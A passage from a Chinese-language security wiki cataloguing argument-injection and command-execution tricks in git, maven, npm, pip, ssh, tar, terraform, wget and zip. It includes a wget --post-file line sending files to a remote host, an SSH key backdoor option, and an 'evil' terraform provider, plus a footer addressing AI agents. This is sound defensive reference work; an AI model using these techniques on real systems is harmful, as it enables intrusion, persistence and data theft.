[--upload-pack](https://git-scm.com/docs/git-pull#Documentation/git-pull.txt---upload-packltupload-packgt) 标志可用于执行任意命令。输出不显示，但可以使用 `>&2` 将输出路由到 stderr。

```bash
$ mkdir repo
$ cd repo
$ git init
$ git pull main --upload-pack='cmdname arg1 arg2 >&2 #'
```

参考：

* [GTFOArgs: git](https://gtfoargs.github.io/gtfoargs/git/)

### git-push

{% embed url="<https://git-scm.com/docs/git-push>" %}

#### --receive-pack/--exec

[receive-pack or exec](https://git-scm.com/docs/git-push#Documentation/git-push.txt---receive-packltgit-receive-packgt) 指定远程端 [git-receive-pack](https://git-scm.com/docs/git-receive-pack) 程序的路径。您可以像这样执行任意代码：

```bash
$ echo "#!/bin/bash" > payload.sh
$ echo "echo 'arbitrary payload here'" >> payload.sh
$ chmod +x payload.sh
$ git push --receive-pack=payload.sh username/repo main
# 或
$ git push --exec=payload.sh username/repo main
# 或
$ git push --receive-pack=payload.sh main
```

## maven

在 `mvn <PHASE>` 执行期间执行任意命令或代码是可能的，通过使用各种插件，如 [exec-maven-plugin](https://www.mojohaus.org/exec-maven-plugin/) 或 [groovy-maven-plugin](https://groovy.github.io/gmaven/groovy-maven-plugin/index.html)。为了在阶段 `<PHASE>` 期间使用 `groovy-maven-plugin` 插件执行恶意 payload，您可以使用以下配置：

```xml
<plugin>
  <groupId>org.codehaus.gmaven</groupId>
  <artifactId>groovy-maven-plugin</artifactId>
  <executions>
    <execution>
      <phase><!-- PHASE_HERE --></phase>
      <goals>
        <goal>execute</goal>
      </goals>
      <configuration>
        <source>
          print "cmdname arg1 arg2".execute().text
        </source>
      </configuration>
    </execution>
  </executions>
</plugin>
```

例如，您可以使用以下 `pom.xml` 文件在 `mvn initialize` 或 `mvn compile` 期间执行插件：

```xml
<?xml version="1.0" encoding="UTF-8"?>
<project>
  <modelVersion>4.0.0</modelVersion>
 
  <groupId>com.mycompany.app</groupId>
  <artifactId>my-app</artifactId>
  <version>1</version>
  
  <build>
    <plugins>
        <plugin>
          <groupId>org.codehaus.gmaven</groupId>
          <artifactId>groovy-maven-plugin</artifactId>
            <executions>
              <execution>
                <phase>initialize</phase>
                <goals>
                  <goal>execute</goal>
                </goals>
                <configuration>
                  <source>
                    print "cmdname arg1 arg2".execute().text
                  </source>
                </configuration>
              </execution>
          </executions>
        </plugin>
     </plugins>   
  </build>
</project>
```

参考：

* [Apache Maven 项目：构建生命周期介绍](https://maven.apache.org/guides/introduction/introduction-to-the-lifecycle.html)

## npm scripts

`package.json` 文件的 [scripts](https://docs.npmjs.com/cli/v7/using-npm/scripts) 属性支持许多内置脚本及其预设生命周期事件以及任意脚本。所有这些都可以使用 [npm run-script 或简写 npm run](https://docs.npmjs.com/cli/v7/commands/npm-run-script) 执行。

{% hint style="info" %}
依赖项的脚本可以使用 `npm explore <pkg> -- npm run <stage>` 运行
{% endhint %}

具有匹配名称的 pre 和 post 命令也将为这些运行（例如 `premyscript`、`myscript`、`postmyscript`）。要为 `package.json` 的 `scripts` 部分中定义的任何脚本创建 pre 或 post 脚本，只需创建另一个具有匹配名称的脚本并在其开头添加 `pre` 或 `post`。

在以下示例中，`npm run compress` 将按描述执行这些脚本。

```json
{
  "scripts": {
    "precompress": "{{ 在 `compress` 脚本之前执行 }}",
    "compress": "{{ 运行命令来压缩文件 }}",
    "postcompress": "{{ 在 `compress` 脚本之后执行 }}"
  }
}
```

有一些特殊的生命周期脚本只在某些情况下发生。除了 `pre<event>`、`post<event>` 和 `<event>` 脚本之外，这些脚本也会发生。

* `prepare`（自 npm\@4.0.0 起）
  * 在打包之前的任何时候运行，即在 `npm publish` 和 `npm pack` 期间
  * 在包打包之前运行
  * 在包发布之前运行
  * 在没有参数的本地 `npm install` 上运行
  * 在 `prepublish` 之后运行，但在 `prepublishOnly` 之前运行
  * 注意：如果通过 git 安装的包包含 `prepare` 脚本，其 `dependencies` 和 `devDependencies` 将被安装，并且 prepare 脚本将在包打包和安装之前运行
  * 从 `npm@7` 开始，这些脚本在后台运行。要查看输出，请运行：`--foreground-scripts`
* `prepublish`（[已弃用](https://docs.npmjs.com/cli/v7/using-npm/scripts#prepare-and-prepublish)）
  * 在 `npm publish` 期间不运行，但在 `npm ci` 和 `npm install` 期间运行
* `prepublishOnly`
  * 在包准备和打包之前运行，仅在 `npm publish` 上运行
* `prepack`
  * 在打包 tarball 之前运行（在 `npm pack`、`npm publish` 和安装 git 依赖项时）
  * 注意：`npm run pack` 与 `npm pack` 不同。`npm run pack` 是任意的用户定义脚本名称，而 `npm pack` 是 CLI 定义的命令
* `postpack`
  * 在生成 tarball 之后但在将其移动到最终目的地之前运行（如果有的话，发布不会在本地保存 tarball）

### npm cache add

[npm cache add](https://docs.npmjs.com/cli/v7/commands/npm-cache) 运行以下生命周期脚本：

* `prepare`

### npm ci

[npm ci](https://docs.npmjs.com/cli/v7/commands/npm-ci) 运行以下生命周期脚本：

* `preinstall`
* `install`
* `postinstall`
* `prepublish`
* `preprepare`
* `prepare`
* `postprepare`

这些都在实际将模块安装到 `node_modules` 之后运行，按顺序，中间没有内部操作。

### npm diff

[npm diff](https://docs.npmjs.com/cli/v7/commands/npm-diff) 运行以下生命周期脚本：

* `prepare`

### npm install

[npm install](https://docs.npmjs.com/cli/v7/commands/npm-install) 运行以下生命周期脚本（当您运行 `npm install -g <pkg-name>` 时也会运行）：

* `preinstall`
* `install`
* `postinstall`
* `prepublish`
* `preprepare`
* `prepare`
* `postprepare`

如果在包的根目录中有 `binding.gyp` 文件并且未定义 install 或 preinstall 脚本，`npm` 将默认 `install` 命令使用 [node-gyp](https://www.npmjs.com/package/node-gyp) 通过 `node-gyp rebuild` 进行编译。

### npm pack

[npm pack](https://docs.npmjs.com/cli/v7/commands/npm-pack) 运行以下生命周期脚本：

* `prepack`
* `prepare`
* `postpack`

### npm publish

[npm publish](https://docs.npmjs.com/cli/v7/commands/npm-publish) 运行以下生命周期脚本：

* `prepublishOnly`
* `prepack`
* `prepare`
* `postpack`
* `publish`
* `postpublish`

`prepare` 在 `--dry-run` 期间不会运行

### npm rebuild

[npm rebuild](https://docs.npmjs.com/cli/v7/commands/npm-rebuild) 运行以下生命周期脚本：

* `preinstall`
* `install`
* `postinstall`
* `prepare`

`prepare` 只有在当前目录是符号链接时才会运行（例如，使用链接的包）

### npm restart

[npm restart](https://docs.npmjs.com/cli/v7/commands/npm-restart) 运行 restart 脚本（如果已定义），否则如果存在 stop 和 start 都会运行（包括它们的 pre 和 post 迭代）：

* `prerestart`
* `restart`
* `postrestart`

### npm start

[npm start](https://docs.npmjs.com/cli/v7/commands/npm-start) 运行以下生命周期脚本：

* `prestart`
* `start`
* `poststart`

如果在包的根目录中有 `server.js` 文件，那么 `npm` 将默认 start 命令为 node `server.js`。在这种情况下，`prestart` 和 `poststart` 仍会运行。

### npm stop

[npm stop](https://docs.npmjs.com/cli/v7/commands/npm-stop) 运行以下生命周期脚本：

* `prestop`
* `stop`
* `poststop`

### npm test

[npm test](https://docs.npmjs.com/cli/v7/commands/npm-test) 运行以下生命周期脚本：

* `pretest`
* `test`
* `posttest`

## pip

### pip install

扩展 `setuptools` 模块允许您挂钩几乎任何 `pip` 命令。例如，您可以使用 `setup.py` 文件中的 `install` 类在 `pip install` 运行期间执行任意代码。

```python
from setuptools import setup
from setuptools.command.install import install

class PostInstallCommand(install):
    def run(self):
        # 在此处插入代码
        install.run(self)

setup(
    ...
    cmdclass={
        'install': PostInstallCommand,
    },
    ...
)
```

当运行 `pip install` 时，将调用 `PostInstallCommand.run` 方法。

参考：

* [0wned - 通过 Python 包安装进行代码执行](https://github.com/mschwager/0wned)

## ssh

### authorized\_keys 和 id\_\*.pub

OpenSSH 支持 [command](https://man.openbsd.org/OpenBSD-current/man8/sshd.8#AUTHORIZED_KEYS_FILE_FORMAT) 选项，该选项指定每当密钥用于身份验证时执行的命令。

```
command="cmdname arg1 arg2" ssh-ed25519 AAAAC3Nzblah....
```

参考：

* [The Hacker's Choice 博客：用后门感染 SSH 公钥](https://blog.thc.org/infecting-ssh-public-keys-with-backdoors)

### ssh\_config

`ssh` 从以下来源按以下顺序获取配置数据：

1. 命令行
2. 用户的配置文件 `~/.ssh/config`
3. 系统范围的配置文件 `/etc/ssh/ssh_config`

#### LocalCommand

[LocalCommand](https://linux.die.net/man/5/ssh_config) 指定在成功连接到服务器后在本地机器上执行的命令。以下 `ssh_config` 可用于执行任意命令：

```
Host *
  PermitLocalCommand yes
  LocalCommand cmdname arg1 arg2
```

参考：

* [#BrokenSesame：对私有注册表的意外 'write' 权限允许对阿里云数据库服务进行潜在的 RCE](https://www.wiz.io/blog/brokensesame-accidental-write-permissions-to-private-registry-allowed-potential-r)

## ssh-keygen

### -D

[ssh-keygen](https://man7.org/linux/man-pages/man1/ssh-keygen.1.html) 可以使用 `-D` 键加载共享库，导致任意命令执行：

```bash
$ ssh-keygen -D lib.so
```

参考：

* [Sean Pesce 的博客：利用 ssh-keygen 进行任意执行（和权限提升）](https://seanpesce.blogspot.com/2023/03/leveraging-ssh-keygen-for-arbitrary.html)
* [GTFOArgs: ssh-keygen](https://gtfoargs.github.io/gtfoargs/ssh-keygen/)

## tar

### 检查点

[检查点](https://www.gnu.org/software/tar/manual/html_section/checkpoints.html) 是在将第 n 个记录写入存档（写入检查点）之前，或从存档中读取第 n 个记录之前（读取检查点）的时间点。[检查点](https://www.gnu.org/software/tar/manual/html_section/checkpoints.html) 允许定期执行任意操作。

```bash
$ tar cf archieve.tar --checkpoint=1 --checkpoint-action="exec=echo 'arbitrary payload here'" foo 
```

### --to-command

当使用 [--to-command](https://www.gnu.org/software/tar/manual/html_section/extract-options.html#index-to_002dcommand) 键时，`tar` 调用命令并将文件的内容通过管道传输到其标准输出，而不是创建指定的文件。因此它可以用于执行任意命令。

```bash
# 需要有效的存档文件
$ tar xf file.tar --to-command='cmdname arg1 arg2'
```

参考：

* [GTFOArgs: tar](https://gtfoargs.github.io/gtfoargs/tar/)

### -I/--use-compress-program

[-I/--use-compress-program](https://www.gnu.org/software/tar/manual/html_section/Compression.html#index-use_002dcompress_002dprogram) 用于指定可以滥用来执行任意命令的外部压缩程序命令：

```bash
# 不需要有效的存档
$ tar xf /dev/null --use-compress-program='cmdname arg1 arg2'
```

参考：

* [GTFOArgs: tar](https://gtfoargs.github.io/gtfoargs/tar/)

## terraform

### terraform-plan

Terraform 依赖于称为["提供者"](https://www.terraform.io/docs/language/providers/configuration.html)的插件来与远程系统交互。Terraform 配置必须声明它们需要哪些提供者，以便 Terraform 可以安装和使用它们。

您可以编写[自定义提供者](https://learn.hashicorp.com/tutorials/terraform/provider-setup)，将其发布到 [Terraform Registry](https://registry.terraform.io/) 并将提供者添加到 Terraform 代码中。

```tf
terraform {
  required_providers {
    evil = {
      source  = "evil/evil"
      version = "1.0"
    }
  }
}

provider "evil" {}
```

```bash
$ terraform init
$ terraform plan
```

提供者将在 `terraform init` 期间被拉入，当运行 `terraform plan` 时，任意的 ruby 代码将被执行。

此外，Terraform 提供 [external provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs)，它提供了在 Terraform 和外部程序之间接口的方式。因此，您可以使用 `external` 数据源来运行任意代码。来自[文档](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)的以下示例在 `terraform plan` 期间执行 python 脚本。

```tf
data "external" "example" {
  program = ["python", "${path.module}/example-data-source.py"]

  query = {
    # 从字符串到字符串的任意映射，传递
    # 到外部程序作为数据查询。
    id = "abc123"
  }
}
```

参考：

* [Terraform Plan "RCE"](https://alex.kaskaso.li/post/terraform-plan-rce)
* [Terraform 作为软件供应链的一部分，第 1 部分 - 模块和提供者](https://about.gitlab.com/blog/2022/06/01/terraform-as-part-of-software-supply-chain-part1-modules-and-providers/)
* [Terraform 文档：命令：plan](https://www.terraform.io/docs/cli/commands/plan.html)
* [Terraform 文档：提供者配置](https://www.terraform.io/docs/language/providers/configuration.html)
* [Terraform 文档：模块提供者 Meta-Argument](https://www.terraform.io/docs/language/meta-arguments/module-providers.html)

## wget

### --use-askpass

[--use-askpass](https://www.gnu.org/software/wget/manual/wget.html) 指定提示用户和密码的命令。此键可用于执行任意命令，而无需任何参数和 stdout/stderr。

如果未指定命令，则使用环境变量 `WGET_ASKPASS` 中的命令。如果 `WGET_ASKPASS` 未设置，则使用环境变量 `SSH_ASKPASS` 中的命令。此外，可以在 `.wgetrc` 中设置 `use-askpass` 的默认命令。

```bash
$ wget --use-askpass=cmdname http://0/
```

参考：

* [GTFOArgs: wget](https://gtfoargs.github.io/gtfoargs/wget/)

### --post-file

[--post-file](https://www.gnu.org/software/wget/manual/wget.html) 可用于在 POST 请求中泄露文件。

```bash
# 将本地文件发送到远程服务器
# 文件按原样发送
$ wget --post-file=/path/to/file https://website.com/
```

参考：

* [GTFOArgs: wget](https://gtfoargs.github.io/gtfoargs/wget/)

### -O/--output-document

[-o/--output-document](https://www.gnu.org/software/wget/manual/wget.html) 可用于通过 GET 请求下载远程文件并将其保存到特定位置。

```bash
$ wget --output-document=/path/to/file https://website.com/file.txt
# 将文件打印到标准输出
$ wget --output-document="-" https://website.com/file.txt
```

参考：

* [GTFOArgs: wget](https://gtfoargs.github.io/gtfoargs/wget/)

### -o/--output-file

[-o/--output-file](https://www.gnu.org/software/wget/manual/wget.html) 指定一个日志文件，用于记录通常报告到标准错误的所有消息。它可以用于将输出写入文件。

```bash
# 读取本地文件并将输出写入另一个本地文件
# 只显示非二进制文件，输出是错误日志
$ wget --input-file=/path/to/file --output-file=/path/to/another/file
```

参考：

* [GTFOArgs: wget](https://gtfoargs.github.io/gtfoargs/wget/)

### -i/--input-file

[-i/--input-file](https://www.gnu.org/software/wget/manual/wget.html) 从本地或外部文件读取 URL。此键可用于在错误消息中暴露文件内容：

```bash
# 文件内容将显示为错误消息
$ wget --input-file=/path/to/file http://0/
```

参考：

* [GTFOArgs: wget](https://gtfoargs.github.io/gtfoargs/wget/)

## zip

### -TT/--unzip-command

[-TT/--unzip-command](https://linux.die.net/man/1/zip) 用于指定在使用 `-T` 选项时测试存档的命令。

```bash
$ zip archieve.zip /path/to/file -T --unzip-command="cmdname arg1 arg2 #"
```

参考：

* [GTFOArgs: zip](https://gtfoargs.github.io/gtfoargs/zip/)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://gitbook.cdxiaodong.life/web-ying-yong-an-quan/command-injection/argument-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
